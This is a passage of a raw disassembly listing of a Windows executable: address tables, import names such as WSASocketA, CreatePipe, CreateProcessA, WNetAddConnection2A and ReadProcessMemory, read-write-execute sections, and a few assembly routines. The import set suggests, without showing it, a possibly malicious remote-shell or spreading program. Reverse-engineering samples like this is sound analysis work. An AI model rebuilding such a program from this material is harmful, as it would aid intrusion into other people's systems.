dd 0F56B6h, 0F56C6h, 0F56D8h, 0F56E8h, 0F56F4h, 0F5704h
dd 0F5716h, 0F572Ah, 0F573Ch, 0F574Ch, 0F575Ah, 0F5772h
dd 0F578Ah, 0F57B2h, 0F57CAh, 0F57D6h, 0F57E6h, 0F57F2h
dd 0F5800h, 0F5814h, 0F5826h, 0F583Ah, 0F5848h, 0F585Ah
dd 0F586Ch, 0F587Ah, 0F5886h, 0F589Eh, 0F58B8h, 0F58C8h
dd 0F58DAh, 0F58ECh, 0F5904h, 0F591Eh, 0F593Ah, 0F594Ah
dd 0F5964h, 0F5980h, 0F59A8h, 0F59B4h, 0F59C0h, 0F59D2h
dd 0F59E4h, 0F59F8h, 0F5A08h, 0F5A1Ah, 0F5A2Ah, 0F5A38h
dd 0F5A4Ah, 0F5A5Ah, 0F5A70h, 0F5A7Eh, 0F5A8Ch, 0F5AA8h
dd 0F5ABEh, 0F5AD4h, 0F5AE0h, 0F5AF6h, 0F5B06h, 0F5B1Ah
dd 0F5B30h, 0F5B40h, 0F5B50h, 0F5B60h, 0F5B6Ch, 0F5B86h
dd 0F5B96h, 0F5BAEh, 0F5BC6h, 0F5BD8h, 0F5BEAh, 0F5BF8h
dd 0F5C06h, 0F5C16h, 0F5C2Ch, 0F5C48h, 0F5C58h, 0F5C66h
dd 0F5C74h, 0F5C84h, 0F5C9Eh, 0F5CACh, 0F5CBAh, 0F5CD0h
dd 0F5CDEh, 0F5CEAh, 0F5CF4h, 0F5D04h, 0F5D12h, 0F5D26h
dd 0F5D32h, 0F5D3Ch, 0F5D48h, 0
dd 0F5558h, 0
dd 80000007h, 8000000Fh, 8000000Ch, 80000074h, 80000073h
dd 80000015h, 8000000Ah, 80000002h, 8000000Dh, 80000001h
dd 0F5576h, 8000000Bh, 80000009h, 80000004h, 80000010h
dd 80000003h, 80000017h, 80000013h, 80000012h, 80000097h
dd 80000006h, 80000034h, 0
dword_4F52D4 dd 77E78147h ; DATA XREF: sub_41786C+BCr
; _0:0043AB0Ar
dword_4F52D8 dd 77E6BD68h ; DATA XREF: sub_439F20+2C5r
; _0:0043ACE4r
dword_4F52DC dd 77E77F2Eh ; DATA XREF: sub_439AD0+41r
; sub_439AD0+3DAr ...
dword_4F52E0 dd 77E762D0h ; DATA XREF: sub_439AD0+69r
; sub_439AD0+D9r ...
dword_4F52E4 dd 77E78723h ; DATA XREF: sub_439780+37r
; sub_439780+8Br ...
dword_4F52E8 dd 77E70192h ; DATA XREF: sub_435EC0+1D8r
; _0:0043ACCCr
dword_4F52EC dd 77E79C94h ; DATA XREF: sub_4357D0+12r
; _0:0043ACC6r
dword_4F52F0 dd 77E6363Bh ; DATA XREF: sub_435140+7Ar
; sub_435530+53r ...
dword_4F52F4 dd 77E75243h ; DATA XREF: sub_434EB0+142r
; _0:0043ACBAr
dword_4F52F8 dd 77E752B8h ; DATA XREF: sub_434EB0+15Cr
; _0:0043ACB4r
dword_4F52FC dd 77E7176Ch ; DATA XREF: sub_432FE0+Fr
; _0:0043ACAEr
off_4F5300 dd offset sub_509C54 ; DATA XREF: sub_432F40+8r
; sub_432F60+9r ...
dword_4F5304 dd 77E7C866h ; DATA XREF: sub_431210+3Cr
; sub_431210+19Er ...
dword_4F5308 dd 77E641EBh ; DATA XREF: sub_431210+61r
; sub_431210+AAr ...
dword_4F530C dd 77E73FF9h ; DATA XREF: sub_431130+7Fr
; _0:0043AC96r
dword_4F5310 dd 77E7FF2Eh ; DATA XREF: sub_430D50+58r
; sub_430D50+66r ...
dword_4F5314 dd 77E78406h ; DATA XREF: sub_42FB10+1E6r
; sub_42FB10+29Br ...
dword_4F5318 dd 77E7C931h ; DATA XREF: sub_42FB10+31Ar
; _0:0043AC84r
dword_4F531C dd 77E77EE1h ; DATA XREF: sub_42F8F0+1Dr
; sub_42F8F0+6Dr ...
dword_4F5320 dd 77E67702h ; DATA XREF: sub_42F8F0:loc_42F928r
; sub_42F8F0+171r ...
dword_4F5324 dd 77E7C9E1h ; DATA XREF: sub_42F8F0+108r
; sub_42F8F0+150r ...
dword_4F5328 dd 77E9C5B1h ; DATA XREF: sub_42F8F0+1E6r
; sub_42F8F0+208r ...
dword_4F532C dd 77EB9A84h ; DATA XREF: sub_42EFB0+37r
; _0:0043AC66r
dword_4F5330 dd 77E781F9h ; DATA XREF: sub_42EC50+41r
; sub_42EC50+1A5r ...
dword_4F5334 dd 77E77405h ; DATA XREF: sub_42EC50+69r
; sub_42EC50+C0r ...
off_4F5338 dd offset sub_50A0C8 ; DATA XREF: sub_401300+DFr
; sub_401404+7Ar ...
off_4F533C dd offset sub_50B3D5 ; DATA XREF: sub_401300+B8r
; sub_401404+2C9r ...
dword_4F5340 dd 77E61BB8h ; DATA XREF: sub_401300+A7r
; sub_401404+2B1r ...
off_4F5344 dd offset sub_50AA24 ; DATA XREF: sub_401300+83r
; sub_401404+DAr ...
dword_4F5348 dd 77E704FCh ; DATA XREF: sub_401300+74r
; sub_401404+C4r ...
dword_4F534C dd 77E61BE6h ; DATA XREF: sub_401300+29r
; sub_401404+1DEr ...
dword_4F5350 dd 77E7AC37h ; DATA XREF: sub_401404+3ACr
; sub_401C87+785r ...
dword_4F5354 dd 77E73628h ; DATA XREF: sub_401404+329r
; sub_401C87+7908r ...
dword_4F5358 dd 77E706B7h ; DATA XREF: sub_401404+262r
; sub_417BC7+15r ...
dword_4F535C dd 77E80656h ; DATA XREF: sub_401404+255r
; _0:0043A9F6r
dword_4F5360 dd 77F5157Dh ; DATA XREF: sub_401404:loc_4015C6r
; sub_401404+3D1r ...
dword_4F5364 dd 77E6BD13h ; DATA XREF: sub_401404:loc_4015BCr
; _0:0043AA02r
dword_4F5368 dd 77E70396h ; DATA XREF: sub_401404+1B2r
; sub_401404+20Fr ...
off_4F536C dd offset sub_50A7AF ; DATA XREF: sub_401404+19Br
; sub_40FFD8+10Fr ...
off_4F5370 dd offset sub_50AF8C ; DATA XREF: sub_401404+D3r
; sub_409D10+2r ...
dword_4F5374 dd 77E79D5Bh ; DATA XREF: sub_401404+6Br
; sub_401404+2FFr ...
dword_4F5378 dd 77E7C2C4h ; DATA XREF: sub_401404+64r
; _0:0043AA20r
dword_4F537C dd 77E7751Ah ; DATA XREF: sub_401404+2Cr
; sub_401C87+251Ar ...
dword_4F5380 dd 77E75CEBh ; DATA XREF: sub_401C87+7B85r
; sub_40B7CC+27r ...
dword_4F5384 dd 77E6AD34h ; DATA XREF: sub_401C87+6A47r
; sub_418EAE+35r ...
dword_4F5388 dd 77E71AFEh ; DATA XREF: sub_401C87+6834r
; _0:0043AA38r
off_4F538C dd offset sub_50AE83 ; DATA XREF: sub_409D10+13Ar
; sub_409D10:loc_40A21Er ...
off_4F5390 dd offset sub_50B076 ; DATA XREF: sub_409D10+11r
; sub_41786C+60r ...
dword_4F5394 dd 77E65F4Ch ; DATA XREF: _0:0040B0E8r
; sub_41A20B+34r ...
dword_4F5398 dd 77E7513Ch ; DATA XREF: _0:0040B18Ar
; sub_434EB0+18r ...
dword_4F539C dd 77E7C657h ; DATA XREF: _0:0040B1FEr
; sub_419036+32r ...
dword_4F53A0 dd 77E73C49h ; DATA XREF: sub_40B6FC+4Ar
; sub_40BE20+1ACr ...
dword_4F53A4 dd 77F7E300h ; DATA XREF: sub_40C87D+130r
; sub_422490+35r ...
dword_4F53A8 dd 77F7E21Fh ; DATA XREF: sub_40C87D+C5r
; sub_422420+35r ...
dword_4F53AC dd 77E7C706h ; DATA XREF: sub_40CA91+77r
; _0:0043AA6Er
dword_4F53B0 dd 77F53275h ; DATA XREF: sub_40CA91+6Br
; sub_40CA91+241r ...
dword_4F53B4 dd 77E79D8Ch ; DATA XREF: sub_40E1AD+94r
; sub_40E29B+17Dr ...
dword_4F53B8 dd 77E737DEh ; DATA XREF: sub_40E29B+42Er
; _0:0043AA80r
off_4F53BC dd offset sub_50B3FC ; DATA XREF: sub_40E29B+19Br
; sub_40E29B+48Dr ...
off_4F53C0 dd offset sub_50B2B0 ; DATA XREF: sub_40E29B+A3r
; sub_40FFD8+1C3r ...
dword_4F53C4 dd 77E616B4h ; DATA XREF: sub_40EE63+19Br
; sub_4115D0+119r ...
dword_4F53C8 dd 77E79CE3h ; DATA XREF: sub_40EE63+111r
; sub_41181E+77r ...
dword_4F53CC dd 77E79C90h ; DATA XREF: sub_40EE63+FDr
; sub_40EE63+10Ar ...
dword_4F53D0 dd 77E7727Ah ; DATA XREF: sub_40EE63+74r
; sub_411725+23r ...
dword_4F53D4 dd 77E64106h ; DATA XREF: sub_40FE5C+9Fr
; sub_41B6C1+1B6r ...
dword_4F53D8 dd 77E64006h ; DATA XREF: sub_40FE5C+8Br
; sub_41B6C1+19Fr ...
off_4F53DC dd offset sub_50A9EC ; DATA XREF: sub_40FFD8+1EDr
; sub_410908+38r ...
off_4F53E0 dd offset sub_50A5FF ; DATA XREF: sub_410287+5EDr
; sub_41771E+BAr ...
dword_4F53E4 dd 77E79424h ; DATA XREF: sub_410287+27Ar
; sub_417BC7+135r ...
dword_4F53E8 dd 77E794BFh ; DATA XREF: sub_410287+26Cr
; sub_417BC7+123r ...
off_4F53EC dd offset sub_50A626 ; DATA XREF: sub_410287+20Cr
; sub_410287+5DCr ...
off_4F53F0 dd offset sub_50A334 ; DATA XREF: sub_410287+1FBr
; sub_41771E+26r ...
off_4F53F4 dd offset sub_50B460 ; DATA XREF: sub_410908+6Cr
; sub_416788+259r ...
dword_4F53F8 dd 77E76968h ; DATA XREF: sub_411349+5Fr
; _0:0043056Ar ...
dword_4F53FC dd 77E74C59h ; DATA XREF: sub_4115D0+CBr
; _0:0043AAE6r
dword_4F5400 dd 77EC7C51h ; DATA XREF: sub_411995+4Br
; _0:0043AAECr
dword_4F5404 dd 77E70F89h ; DATA XREF: sub_4124E6+Er
; sub_415A3C+Dr ...
dword_4F5408 dd 77E802FCh ; DATA XREF: sub_4133AE+18Cr
; sub_4133AE+2D4r ...
dword_4F540C dd 77E6D75Bh ; DATA XREF: sub_4133AE+182r
; sub_414103+FFr ...
off_4F5410 dd offset sub_50B18D ; DATA XREF: sub_41786C+170r
; sub_419229+C3r ...
dword_4F5414 dd 77F51597h ; DATA XREF: sub_417A3E+41r
; sub_417A3E+F5r ...
dword_4F5418 dd 77F516F8h ; DATA XREF: sub_417A3E+21r
; sub_417BC7+4Ar ...
dword_4F541C dd 77E77CB7h ; DATA XREF: sub_417A3E+10r
; sub_417BC7+40r ...
dword_4F5420 dd 77E7F01Ah ; DATA XREF: sub_417BC7+88r
; sub_417D6B+53r ...
dword_4F5424 dd 77E61A54h ; DATA XREF: sub_417BC7+56r
; sub_417D6B+95r ...
dword_4F5428 dd 77E7C3A5h ; DATA XREF: sub_417BC7+34r
; sub_417D6B+2Cr ...
dword_4F542C dd 77E76A60h ; DATA XREF: sub_418C20+2Dr
; _0:0043AB34r
dword_4F5430 dd 77E71B14h ; DATA XREF: sub_418CAA+26r
; _0:0043AB3Ar
dword_4F5434 dd 77E7166Fh ; DATA XREF: sub_418CAA+1Dr
; _0:0043AB40r
off_4F5438 dd offset sub_50B55B ; DATA XREF: sub_418CE5+6Cr
; _0:0043AB46r
off_4F543C dd offset sub_50B51C ; DATA XREF: sub_418CE5+39r
; _0:0043AB4Cr
off_4F5440 dd offset sub_50B4A4 ; DATA XREF: sub_418CE5+28r
; _0:0043AB52r
dword_4F5444 dd 77E7011Ah ; DATA XREF: sub_418D6A+96r
; _0:0043AB58r
dword_4F5448 dd 77E73CE2h ; DATA XREF: sub_418D6A+60r
; _0:0043AB5Er
dword_4F544C dd 77E668D9h ; DATA XREF: sub_418EAE+15Dr
; _0:0043AB64r
dword_4F5450 dd 77E79924h ; DATA XREF: sub_4197F6+13r
; sub_42EC50+2A5r ...
dword_4F5454 dd 77E77CCEh ; DATA XREF: sub_4198C8+Fr
; sub_421F10+BFr ...
dword_4F5458 dd 77E76A2Eh ; DATA XREF: sub_41A334+DEr
; _0:0043AB76r
dword_4F545C dd 77E7FF65h ; DATA XREF: sub_41A798+5Ar
; _0:0043AB7Cr
dword_4F5460 dd 77EB7624h ; DATA XREF: sub_41A798+3Dr
; _0:0043AB82r
dword_4F5464 dd 77E6C29Dh ; DATA XREF: sub_41AE2B+1EFr
; _0:0043AB88r
dword_4F5468 dd 77E76C1Ah ; DATA XREF: sub_41B6C1+1CFr
; _0:0043AB8Er
dword_4F546C dd 77E73196h ; DATA XREF: sub_41D660+2Ar
; sub_4256F0+19r ...
dword_4F5470 dd 77E7339Ch ; DATA XREF: sub_41D660+12r
; sub_432F80+13r ...
dword_4F5474 dd 77E6C924h ; DATA XREF: sub_41D6B0+93r
; sub_41D6B0+102r ...
dword_4F5478 dd 77F6183Eh ; DATA XREF: sub_43ABA6r
dword_4F547C dd 77E76E3Dh ; DATA XREF: sub_420D80+9Fr
; sub_433090+5Er ...
dword_4F5480 dd 77E61608h ; DATA XREF: sub_420D80+17r
; _0:0043ABB2r
dword_4F5484 dd 77E778C5h ; DATA XREF: sub_421620+76r
; sub_421620+B6r ...
dword_4F5488 dd 77E777EFh ; DATA XREF: sub_421620+62r
; sub_421C90+2Cr ...
dword_4F548C dd 77E6177Ah ; DATA XREF: _0:004221E2r
; sub_42FB10+87r ...
dword_4F5490 dd 77E7C938h ; DATA XREF: _0:004221B3r _0:0043ABCAr
dword_4F5494 dd 77E7C486h ; DATA XREF: _0:00422126r _0:0043ABD0r
dword_4F5498 dd 77EB36A5h ; DATA XREF: sub_422500+3r
; _0:0043ABD6r
dword_4F549C dd 77E79C3Dh ; DATA XREF: _0:004225AEr _0:004225C8r ...
dword_4F54A0 dd 77E9BD34h ; DATA XREF: sub_422610+102r
; sub_422610+2F3r ...
dword_4F54A4 dd 77E79908h ; DATA XREF: sub_4231A0+9r
; sub_4231A0+16r ...
dword_4F54A8 dd 77EB8503h ; DATA XREF: _0:00423349r _0:0043ABEEr
dword_4F54AC dd 77F5722Fh ; DATA XREF: sub_423620+DAr
; sub_423620+1BBr ...
dword_4F54B0 dd 77E79E34h ; DATA XREF: sub_4241B0+4A8r
; sub_4241B0+545r ...
dword_4F54B4 dd 77E7980Ah ; DATA XREF: sub_424CD0+A3r
; sub_424DE0+A7r ...
dword_4F54B8 dd 77E7AC5Eh ; DATA XREF: sub_426C90+5Fr
; _0:0043AC06r
dword_4F54BC dd 77E76E0Bh ; DATA XREF: sub_426EC0+57r
; sub_426EC0+7Cr ...
dword_4F54C0 dd 77E7C726h ; DATA XREF: sub_426EC0+14r
; _0:0043AC12r
dword_4F54C4 dd 77E77CC4h ; DATA XREF: sub_428E00+64r
; sub_428EE0+66r ...
dword_4F54C8 dd 77E79B39h ; DATA XREF: sub_428E00+4Ar
; sub_428EE0+50r ...
dword_4F54CC dd 77E7C5B4h ; DATA XREF: sub_428E00+9r
; _0:0043AC24r
dword_4F54D0 dd 77E72B29h ; DATA XREF: _0:00428EA7r _0:0043AC2Ar
dword_4F54D4 dd 77F51587h ; DATA XREF: sub_428EE0+8Br
; _0:0043AC30r
dword_4F54D8 dd 77E78B61h ; DATA XREF: sub_428EE0+15r
; _0:00428F9Cr ...
dword_4F54DC dd 77E73163h ; DATA XREF: _0:004290A3r _0:0043AC3Cr
dword_4F54E0 dd 77E7849Fh ; DATA XREF: sub_4290B0+1C7r
; sub_429560+17r ...
dword_4F54E4 dd 77E7A13Fh ; DATA XREF: sub_429400+35r
; _0:0043AC48r
dword_4F54E8 dd 77E6C703h ; DATA XREF: sub_429400+1Dr
; _0:0043AC4Er
dword_4F54EC dd 77E6D706h ; DATA XREF: sub_42B610+35Ar
; _0:0043AC54r ...
dd 0
dword_4F54F4 dd 71B2ACCBh ; DATA XREF: sub_43A936r
dd 0
dword_4F54FC dd 71AB4122h ; DATA XREF: sub_4153D2+D4r
; _0:0043A9B4r
dword_4F5500 dd 71AB1746h ; DATA XREF: sub_412F1F+1DEr
; sub_412F1F+1F0r ...
dword_4F5504 dd 71AB401Ch ; DATA XREF: sub_412F1F+21Br
; _0:0043A9A8r
dword_4F5508 dd 71AB1836h ; DATA XREF: sub_40F909+6Er
; sub_40F986+8Er ...
dword_4F550C dd 71AB41DAh ; DATA XREF: sub_40F2F1+4Ar
; sub_40F909+15r ...
dword_4F5510 dd 71AB3F8Dh ; DATA XREF: sub_40F2F1+5Ar
; _0:0043A996r
dword_4F5514 dd 71AB155Ah ; DATA XREF: sub_40F2F1+8Dr
; sub_413F6A+6Er ...
dword_4F5518 dd 71AB3ECEh ; DATA XREF: sub_40F2F1+B5r
; _0:0043A98Ar
dword_4F551C dd 71AB5DE2h ; DATA XREF: sub_40F2F1+C9r
; _0:0043A984r
dword_4F5520 dd 71AB868Dh ; DATA XREF: sub_40F2F1+16Fr
; _0:0043A97Er
dword_4F5524 dd 71AB5A01h ; DATA XREF: sub_4154BB+20r
; _0:0043A9BAr
dword_4F5528 dd 71AB12F8h ; DATA XREF: sub_40E794+27r
; sub_40E8D6+27r ...
dword_4F552C dd 71AB1746h ; DATA XREF: sub_40E794+36r
; sub_40E8D6+36r ...
dword_4F5530 dd 71AB3E5Dh ; DATA XREF: sub_40E794+59r
; sub_40E8D6+59r ...
dword_4F5534 dd 71AB5690h ; DATA XREF: sub_40E794+6Ar
; sub_40E8D6+6Ar ...
dword_4F5538 dd 71AB1A6Dh ; DATA XREF: sub_40E794+E0r
; sub_40E8D6+E0r ...
dword_4F553C dd 71AB3C22h ; DATA XREF: _0:0040DAC8r
; sub_40E794+45r ...
dword_4F5540 dd 71AB1AF4h ; DATA XREF: sub_40D746+12r
; sub_40E794+C3r ...
dword_4F5544 dd 71AB1890h ; DATA XREF: sub_40D5A3+4Cr
; sub_40F2F1+106r ...
dword_4F5548 dd 71AB1B7Bh ; DATA XREF: sub_43A942r
dword_4F554C dd 71AB157Eh ; DATA XREF: sub_401C87+2F98r
; _0:0043A93Cr
dword_4F5550 dd 71AB2BBFh ; DATA XREF: _0:0040E9D7r _0:0043A978r
align 8
db 6
align 2
aWnetaddconne_1 db 'WNetAddConnection2A',0
aMpr_dll_0 db 'MPR.dll',0
aA_3 db 'A',0
aWsasocketa_0 db 'WSASocketA',0
align 4
aWs2_32_dll_0 db 'WS2_32.dll',0
align 10h
db '',0
aExitprocess_0 db 'ExitProcess',0
a4_0 db '4',0
aClosehandle_0 db 'CloseHandle',0
aF db 'f',0
aCreateproces_0 db 'CreateProcessA',0
align 2
dw 17Dh
aGetmodulefil_0 db 'GetModuleFileNameA',0
align 4
db 0C1h ;
db 1, 47h, 65h
aTsystemdirecto db 'tSystemDirectoryA',0
dw 356h
aSleep_0 db 'Sleep',0
aO_0 db 'o',0
aCreatethread_0 db 'CreateThread',0
align 2
aG db '',0
aDeletefilea_0 db 'DeleteFileA',0
dd 704F0286h, 72506E65h, 7365636Fh, 1430073h
aGetcurrentpr_1 db 'GetCurrentProcessId',0
db 71h ; q
db 1, 47h, 65h
aTlasterror db 'tLastError',0
align 4
aC_4 db 'C',0
aCopyfilea db 'CopyFileA',0
db 19h
db 3, 53h, 65h
aTfileattribute db 'tFileAttributesA',0
align 2
dw 15Eh
aGetfileattri_2 db 'GetFileAttributesA',0
align 4
db 7Fh ;
db 1, 47h, 65h
aTmodulehandlea db 'tModuleHandleA',0
align 10h
db 90h
db 3, 57h, 61h
aItforsingleobj db 'itForSingleObject',0
db '`',0
aCreatemutexa db 'CreateMutexA',0
align 2
dw 1DFh
aGettickcount_0 db 'GetTickCount',0
align 2
dw 35Fh
aTerminatethrea db 'TerminateThread',0
dd 654701D5h, 6D655474h, 74615070h, 4168h, 6F4D026Eh, 69466576h
dd 41656Ch, 6F4C0252h, 694C6461h, 72617262h, 4179h, 654701A0h
dd 6F725074h, 64644163h, 73736572h, 1140000h, 43746547h
dd 75706D6Fh, 4E726574h, 41656D61h, 1740000h, 4C746547h
dd 6C61636Fh, 666E4965h, 416Fh, 654701E9h, 72655674h, 6E6F6973h
dd 417845h, 784500BAh, 68547469h, 64616572h, 2510000h
aLeavecritica_0 db 'LeaveCriticalSection',0
align 2
aS_30 db '',0
aEntercritica_0 db 'EnterCriticalSection',0
align 2
dw 224h
aInitializecr_0 db 'InitializeCriticalSectionAndSpinCount',0
aB db '',0
aDeletecritic_0 db 'DeleteCriticalSection',0
dw 3A4h
aWritefile_0 db 'WriteFile',0
aO_1 db 'O',0
aCreateeventa db 'CreateEventA',0
align 2
dw 2B5h
aReadfile_1 db 'ReadFile',0
align 2
aS_31 db 'S',0
aCreatefilea_0 db 'CreateFileA',0
dd 6554035Eh, 6E696D72h, 50657461h, 65636F72h, 7373h, 75440093h
dd 63696C70h, 48657461h, 6C646E61h, 1420065h
aGetcurrentpr_2 db 'GetCurrentProcess',0
aE_0 db 'e',0
aCreatepipe db 'CreatePipe',0
align 4
dd 654701E0h, 6D695474h, 726F4665h, 4174616Dh, 1470000h
dd 44746547h, 46657461h, 616D726Fh, 4174h, 65470163h, 6C694674h
dd 7A695365h, 0CE0065h, 646E6946h, 736F6C43h, 0C50065h
aFiletimetosyst db 'FileTimeToSystemTime',0
align 2
db '',0
aFiletimetoloca db 'FileTimeToLocalFileTime',0
db '',0
aFindnextfile_0 db 'FindNextFileA',0
db '',0
aFindfirstfil_0 db 'FindFirstFileA',0
align 2
dw 31Bh
aSetfilepoint_0 db 'SetFilePointer',0
align 4
db 0EEh ;
db 2, 53h, 65h
aTconsolectrlha db 'tConsoleCtrlHandler',0
db 8Eh ;
db 3, 57h, 61h
aItformultipleo db 'itForMultipleObjects',0
align 2
dw 0FCh
aGenerateconsol db 'GenerateConsoleCtrlEvent',0
align 2
dw 173h
aGetlocaltime db 'GetLocalTime',0
align 2
dw 2A3h
aQueryperform_1 db 'QueryPerformanceCounter',0
db 0A4h ;
db 2, 51h, 75h
aEryperformance db 'eryPerformanceFrequency',0
dd 724600F8h, 694C6565h, 72617262h, 1590079h
aGetenvironme_0 db 'GetEnvironmentVariableW',0
db 16h
db 2, 48h, 65h
aApfree db 'apFree',0
align 4
db 10h
db 2, 48h, 65h
aApalloc db 'apAlloc',0
db 0A3h ;
db 1, 47h, 65h
aTprocessheap db 'tProcessHeap',0
align 2
dw 389h
aVirtualqueryex db 'VirtualQueryEx',0
align 4
db 0B8h ;
db 2, 52h, 65h
aAdprocessmemor db 'adProcessMemory',0
dd 654701C5h, 73795374h, 496D6574h, 6F666Eh, 6F4600F3h
dd 74616D72h, 7373654Dh, 41656761h, 20A0000h, 626F6C47h
dd 6E556C61h, 6B636F6Ch, 2030000h, 626F6C47h, 6F4C6C61h
dd 6B63h, 6E550371h, 5670616Dh, 4F776569h, 6C694666h, 2680065h
dd 5670614Dh, 4F776569h, 6C694666h, 540065h
aCreatefilema_1 db 'CreateFileMappingA',0
align 10h
db 1Fh
db 3, 53h, 65h
aTfiletime db 'tFileTime',0
dw 165h
aGetfiletime_0 db 'GetFileTime',0
db '',0
aExpandenvironm db 'ExpandEnvironmentStringsA',0
db 94h ;
db 3, 57h, 69h
aDechartomultib db 'deCharToMultiByte',0
dw 275h
aMultibytetow_0 db 'MultiByteToWideChar',0
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 3, 6Ch, 73h
aTrcmpia db 'trcmpiA',0
db 5Ah ; Z
db 1, 47h, 65h
aTexitcodeproce db 'tExitCodeProcess',0
align 2
dw 291h
aPeeknamedpipe db 'PeekNamedPipe',0
dw 178h
aGetlogicaldr_0 db 'GetLogicalDrives',0
align 2
dw 204h
aGlobalmemoryst db 'GlobalMemoryStatus',0
align 10h
db 36h ; 6
db 2, 49h, 73h
aBadwriteptr db 'BadWritePtr',0
db 33h ; 3
db 2, 49h, 73h
aBadreadptr db 'BadReadPtr',0
align 10h
db 20h
db 2, 48h, 65h
aApvalidate db 'apValidate',0
align 10h
db 0D7h ;
db 2, 52h, 74h
aLunwind db 'lUnwind',0
db 0E2h ;
db 1, 47h, 65h
aTtimezoneinfor db 'tTimeZoneInformation',0
align 2
dw 1C8h
aGetsystemtime db 'GetSystemTime',0
dw 228h
aInterlockeddec db 'InterlockedDecrement',0
align 2
dw 22Ch
aInterlockedinc db 'InterlockedIncrement',0
align 2
dw 1B7h
aGetstartupinfo db 'GetStartupInfoA',0
dd 65470110h, 6D6F4374h, 646E616Dh, 656E694Ch, 1E80041h
dd 56746547h, 69737265h, 6E6Fh, 65440078h, 42677562h, 6B616572h
dd 1B90000h, 53746547h, 61486474h, 656C646Eh, 28D0000h
aOutputdebugstr db 'OutputDebugStringA',0
align 4
db 23h ; #
db 2, 49h, 6Eh
aItializecritic db 'itializeCriticalSection',0
db '',0
aFatalappexita db 'FatalAppExitA',0
db 1Ah
db 2, 48h, 65h
aAprealloc db 'apReAlloc',0
dw 383h
aVirtualfree_0 db 'VirtualFree',0
db 81h ;
db 3, 56h, 69h
aRtualalloc db 'rtualAlloc',0
align 4
db 58h ; X
db 1, 47h, 65h
aTenvironmentva db 'tEnvironmentVariableA',0
dw 214h
aHeapdestroy db 'HeapDestroy',0
dd 65480212h, 72437061h, 65746165h, 1460000h
aGetcurrentthre db 'GetCurrentThreadId',0
align 10h
dd 6C540366h, 74655373h, 756C6156h, 3630065h, 41736C54h
dd 636F6C6Ch, 3640000h, 46736C54h, 656572h, 65530328h
dd 73614C74h, 72724574h, 726Fh, 6C540365h, 74654773h, 756C6156h
dd 1450065h, 43746547h, 65727275h, 6854746Eh, 64616572h
dd 1040000h, 43746547h, 666E4950h, 0FD006Fh, 41746547h
dd 5043h, 65470193h, 4D454F74h, 5043h, 615202A7h, 45657369h
dd 70656378h, 6E6F6974h, 2440000h, 614D434Ch, 72745370h
dd 41676E69h, 2450000h, 614D434Ch, 72745370h, 57676E69h
dd 36E0000h
aUnhandledexcep db 'UnhandledExceptionFilter',0
align 2
dw 0F6h
aFreeenvironmen db 'FreeEnvironmentStringsA',0
db 0F7h ;
align 2
aFreeenvironm_0 db 'FreeEnvironmentStringsW',0
dw 155h
aGetenvironme_1 db 'GetEnvironmentStrings',0
dw 157h
aGetenvironme_2 db 'GetEnvironmentStringsW',0
align 4
db 24h ; $
db 3, 53h, 65h
aThandlecount db 'tHandleCount',0
align 2
dw 166h
aGetfiletype db 'GetFileType',0
db 37h ; 7
db 3, 53h, 65h
aTstdhandle db 'tStdHandle',0
align 4
aU_0 db '',0
aFlushfilebuf_0 db 'FlushFileBuffers',0
align 10h
db 0BAh ;
db 1, 47h, 65h
aTstringtypea db 'tStringTypeA',0
align 2
dw 1BDh
aGetstringtypew db 'GetStringTypeW',0
align 4
db 4Ah ; J
db 3, 53h, 65h
aTunhandledexce db 'tUnhandledExceptionFilter',0
dw 230h
aIsbadcodeptr db 'IsBadCodePtr',0
align 2
dw 241h
aIsvalidlocale db 'IsValidLocale',0
dw 23Fh
aIsvalidcodepag db 'IsValidCodePage',0
aP_0 db '',0
aEnumsystemloca db 'EnumSystemLocalesA',0
align 2
dw 1E3h
aGetuserdefault db 'GetUserDefaultLCID',0
align 10h
dd 65530310h, 646E4574h, 6946664Fh, 656Ch, 65470175h, 636F4C74h
dd 49656C61h, 576F666Eh, 3A0000h, 706D6F43h, 53657261h
dd 6E697274h, 4167h, 6F43003Bh, 7261706Dh, 72745365h, 57676E69h
dd 3130000h
aSetenvironme_0 db 'SetEnvironmentVariableA',0
aKernel32_dll_1 db 'KERNEL32.dll',0
db 0
_3 ends
; Section 5. (virtual address 000F6000)
; Virtual size : 0000510E ( 20750.)
; Section size in file : 0000510E ( 20750.)
; Offset to raw data for section: 000F6000
; Flags E0000080: Bss Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_4 segment para public 'CODE' use32
assume cs:_4
;org 4F6000h
assume es:nothing, ss:nothing, ds:_0, fs:nothing, gs:nothing
dd 1443h dup(0)
db 2 dup(0)
_4 ends
; Section 6. (virtual address 000FC000)
; Virtual size : 00011ABF ( 72383.)
; Section size in file : 00011ABF ( 72383.)
; Offset to raw data for section: 000FC000
; Flags E0000040: Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_5 segment para public 'CODE' use32
assume cs:_5
;org 4FC000h
assume es:nothing, ss:nothing, ds:_0, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4FC000 proc near ; CODE XREF: sub_4FF63E+84p
; sub_4FF94C+333p ...
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_50E2E0
push offset sub_4FC54C
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov esi, ecx
mov [ebp+var_1C], esi
lea eax, [esi+10h]
push eax
call ds:dword_50E01C ; RtlEnterCriticalSection
and [ebp+var_4], 0
push [ebp+arg_4]
push [ebp+arg_0]
mov ecx, esi
call sub_50B98E
or [ebp+var_4], 0FFFFFFFFh
call sub_4FC060
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn 8
sub_4FC000 endp
; =============== S U B R O U T I N E =======================================
sub_4FC05D proc near ; DATA XREF: _6:0050E2E8o
mov esi, [ebp-1Ch]
sub_4FC05D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4FC060 proc near ; CODE XREF: sub_4FC000+47p
add esi, 10h
push esi
call ds:dword_50E018 ; RtlLeaveCriticalSection
retn
sub_4FC060 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4FC06B proc near ; CODE XREF: sub_4FF166+9Bp
; sub_4FF166+C4p
arg_0 = dword ptr 8
